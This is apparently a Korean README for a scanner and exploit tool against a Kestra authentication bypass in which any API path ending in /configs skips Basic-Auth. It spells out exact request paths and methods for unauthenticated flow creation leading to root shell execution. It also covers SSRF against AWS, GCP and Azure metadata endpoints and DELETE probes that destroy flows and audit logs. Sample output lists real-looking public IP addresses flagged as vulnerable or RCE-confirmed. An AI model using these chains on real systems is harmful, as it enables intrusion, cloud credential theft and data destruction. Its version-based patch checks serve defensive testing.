
Kestra 인증 우회 취약점 점검기
Kestra 인스턴스에서 endsWith("/configs") 인증 필터 우회를 검색합니다. Kestra의 AuthenticationFilter.java는 정확한 경로 /api/v1/configs 대신 request.getPath().endsWith("/configs")를 확인합니다. Kestra는 호출자가 선택한 경로 세그먼트(네임스페이스, 플로우 ID)를 통해 리소스를 주소 지정하므로 /configs로 끝나는 모든 경로가 Basic-Auth를 우회하여 인증되지 않은 플로우 생성 및 RCE를 가능하게 합니다. (CVSS 10.0)
참고:
GET /api/v1/configs (200 반환 필요; 응답 본문에서 Kestra 버전 파싱)GET /api/v1/{tenant}/flows (인증이 적용된 경우 401/403 반환해야 함)/configs로 끝나는 경로에 6개의 GET 요청; 인증 확인이 적용되는 동안 어떤 것이 401/403이 아닌 응답을 반환하면 인스턴스가 취약함--aggressive) 또한 PUT 요청을 보내 쓰기 우회 능력을 확인합니다--rce) 전체 체인: 셸/파이썬 플로우 생성 → 실행 트리거 → 로그 검색 → 코드 실행 확인 → 정리--ssrf) Pebble의 http()를 사용하여 AWS/GCP/Azure 클라우드 메타데이터 및 내부 엔드포인트를 대상으로 하는 플로우를 생성한 후 로그에서 증거를 확인합니다--destructive) 플로우, 대시보드 및 로그 우회 경로에 DELETE를 보내 파괴적 작업 우회를 확인합니다| 프로브 | 메서드 | 경로 | 설명 |
|---|---|---|---|
| 공개 설정 | GET | /api/v1/configs | 활성 상태 확인 + 버전 추출 |
| 보호된 일반 | GET | /api/v1/{tenant}/flows | 인증 적용 기준 |
| 플로우 우회 | GET | /api/v1/{tenant}/flows/{namespace}/configs | 플로우 목록 우회 |
| 실행 우회 | GET | /api/v1/{tenant}/executions/{namespace}/configs | 실행 우회 |
| KV 저장소 우회 | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | KV 읽기 우회 |
| 대시보드 우회 | GET | /api/v1/{tenant}/dashboards/configs | 대시보드 우회 |
| 로그 우회 | GET | /api/v1/{tenant}/logs/{namespace}/configs | 로그 접근 우회 |
| 템플릿 우회 | GET | /api/v1/{tenant}/templates/{namespace}/configs | 템플릿 읽기 우회 |
--aggressive)| 프로브 | 메서드 | 경로 | 설명 |
|---|---|---|---|
| 플로우 PUT 우회 | PUT | 플로우 우회와 동일 | 최소 debug.Return 플로우 생성 |
| KV PUT 우회 | PUT | KV 우회와 동일 | KV 항목 {"scanned": true} 생성 |
--destructive)| 프로브 | 메서드 | 경로 | 설명 |
|---|---|---|---|
| 플로우 DELETE 우회 | DELETE | 플로우 우회와 동일 | 이름이 "configs"인 리소스 삭제 |
| 대시보드 DELETE 우회 | DELETE | 대시보드 우회와 동일 | 이름이 "configs"인 대시보드 삭제 |
| 로그 DELETE 우회 | DELETE | 로그 우회와 동일 | 감사 로그 파괴 |
--rce)인증 우회가 확인된 경우에만 실행됩니다. 권고에서의 전체 체인:
| 단계 | 메서드 | 경로 | 설명 |
|---|---|---|---|
| 1. RCE 플로우 생성 | PUT | /api/v1/{tenant}/flows/{namespace}/configs | io.kestra.plugin.scripts.shell.Commands (echo <marker>, id, hostname)를 사용하여 플로우를 배포합니다. 실패 시 io.kestra.plugin.scripts.python.Script로 대체합니다. |
| 2. 실행 트리거 | POST | /api/v1/{tenant}/executions/{namespace}/configs | 우회 경로를 통해 플로우를 시작합니다 |
| 3. 로그 폴링 | GET | /api/v1/{tenant}/logs/search?executionId=<id> | 고유 RCE 마커를 찾기 위해 --poll-interval초(기본값 3)마다 최대 --poll-retries회(기본값 10) 폴링합니다 |
| 4. 정리 | DELETE | 1단계와 동일 | 배포된 플로우를 제거합니다 |
--ssrf)인증 우회가 확인된 경우에만 실행됩니다:
| 단계 | 메서드 | 경로 | 설명 |
|---|---|---|---|
| 1. SSRF 플로우 생성 | PUT | /api/v1/{tenant}/flows/{namespace}/configs | AWS(169.254.169.254/latest/meta-data/ami-id), GCP(metadata.google.internal), Azure(169.254.169.254/metadata/instance) 및 내부(127.0.0.1:8080/api/v1/configs)에 Pebble http() 호출이 있는 debug.Return 태스크를 배포합니다 |
| 2. 실행 트리거 | POST | RCE 2단계와 동일 | 플로우를 트리거합니다 |
| 3. 로그 폴링 | GET | /api/v1/{tenant}/logs/search?executionId=<id> | 클라우드 메타데이터 표시기(ami-, i-, 169.254.169.254, metadata.google.internal 등)를 확인합니다 |
| 4. 정리 | DELETE | 1단계와 동일 | 배포된 플로우를 제거합니다 |
positional:
target 단일 대상 URL (예: http://localhost:8080)
options:
-f, --file 대상이 포함된 파일 (한 줄에 하나)
-t, --timeout 요청 제한 시간(초) (기본값: 10)
--verify-ssl TLS 인증서 확인
-j, --json JSON을 표준 출력으로 출력
-o, --output JSON 보고서를 파일에 쓰기
--tenant 테넌트 이름 (기본값: "main")
--namespace 우회 경로의 네임스페이스 (기본값: "tutorial")
-w, --workers 벌크 스캔의 스레드 수 (기본값: 10)
-a, --aggressive PUT 요청을 보내 쓰기 우회 확인
-P, --auto-ports 자동 확장을 위한 포트 (기본값: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce RCE 검증 체인 활성화 (셸 + 파이썬 플로우,
실행 트리거, 로그 검색, 자동 정리)
-s, --ssrf SSRF 탐지 활성화 (Pebble http()로 클라우드 메타데이터
엔드포인트, 로그 기반 증거 수집)
-d, --destructive 플로우, 대시보드 및 로그에 대한 DELETE 프로브 활성화
(취약한 인스턴스에서 리소스를 삭제합니다)
--poll-interval RCE/SSRF 체인을 위한 로그 폴링 간격(초) (기본값: 3)
--poll-retries RCE/SSRF 체인을 위한 최대 로그 폴링 시도 횟수 (기본값: 10)
각 프로브별 전체 분석과 보강 정보(버전, RCE, SSRF, DELETE 상태) 및 결과:
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
RCE/SSRF/DEL 플래그 열이 있는 정렬된 표 형식:
========================================================================================================================================
BULK SCAN SUMMARY GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Target Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 YES YES YES RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - YES VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SAFE
...
========================================================================================================================================
Total: 258 | Vulnerable: 5 | RCE Confirmed: 1 | SSRF Detected: 1 | DEL Bypass: 2 | Safe: 29 | Inconclusive: 224
========================================================================================================================================
종료 코드: 0 = 취약점 없음, 1 = 취약점 발견, 2 = 모두 불확실.
-j 또는 -o를 사용하면 출력에 대상별 보강 필드가 포함됩니다:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
스캐너는 GET /api/v1/configs 응답에서 Kestra 버전을 자동으로 추출하여 분류합니다:
| 버전 | 분류 |
|---|---|
<= 1.0.44 | 영향 받음 (1.0 브랜치, 패치 전) |
>= 1.0.45 | 패치됨 (1.0 브랜치) |
1.3.0 1.3.20 | 영향 받음 (1.3 브랜치, 패치 전) |
>= 1.3.21 | 패치됨 (1.3 브랜치) |
>= 1.4.0 | 패치됨 (영향 범위보다 최신) |
| 알 수 없음 | 응답에서 버전을 찾을 수 없음 |
이는 Kestra가 별도의 패치 브랜치(1.0.x 및 1.3.x)를 유지 관리하므로 브랜치 인식 비교를 사용합니다.
안전한 GET 프로브, 공격적인 PUT 프로브, 벌크 스캐닝 및 JSON 출력을 포함한 초기 릴리스
Python 3.10+가 필요합니다.
pip install -r requirements.txt
python main.py --help
승인된 방어 테스트 전용입니다. --rce 및 --destructive 플래그는 대상에서 실제 리소스를 생성하고 실행합니다. 소유하지 않은 시스템을 스캔하기 전에 항상 적절한 서면 승인을 받으십시오.